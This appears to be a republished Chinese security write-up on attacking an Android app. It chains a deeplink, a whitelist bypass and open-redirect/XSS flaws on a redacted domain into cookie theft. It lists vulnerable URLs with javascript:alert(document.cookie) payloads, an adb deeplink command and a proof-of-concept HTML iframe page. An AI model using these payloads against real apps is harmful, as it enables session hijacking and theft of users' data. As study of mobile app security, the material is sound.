在root设备上将APP目录导出到PC上,使用类似grep工具搜索关键字 *.xxx.com、url=、path=、back=、return=,发现多个存在任意URL跳转漏洞或JS代码执行漏洞的URL。
- https://m.stock.xxx.com/static/router.html?desturl=https://www.baidu.com,任意URL跳转漏洞和XSS跨站脚本攻击,不能读文件。
- https://test.xxx.com/ibp/outlets/index.html?returnUrl=javascript:alert(document.cookie) ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
- https://static.xxx.com/pages/addRouter.html?url=https://www.baidu.com ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
- https://static.xxx.com/ pages /entrance.html?discontinueUrl=javascript:alert(document.cookie) ,需要点击确定按钮,无法任意URL跳转,不能读文件,但是可以执行Javascript;。
- https://static.xxx.com/ pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie) ,无法任意URL跳转,不能读文件,但是可以执行Javascript。
Payload示例:adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://static.xxx.com/pages/accllation/transit.html?returnUrl=https://www.baidu.com'}" ,可通过命令行启动Android虚拟机中的APP,并访问百度页面,绕过白名单限制,如图3.3所示。

图3.3 子域名URL跳转百度成功
4. 构造恶意HTML获取Cookie
结合以上分析过程,通过构造恶意HTML文件,结合Deeplink、白名单绕过和JS代码执行漏洞,获取用户Cookie,使用Cookie获取用户敏感信息。
构造综合利用POC:
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title></title>
- </head>
- <body>
- <br/><br/>
- <iframe name="child" width="300" height="300" src="mydeeplink://?mydeeplink={url:' https://static.xxx.com/pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie)'}" style="padding:0px;" ></iframe>
- </body>
- </html>
在Android模拟器中打开APP,登录账号,然后按Home键返回主界面。 (编辑:西安站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|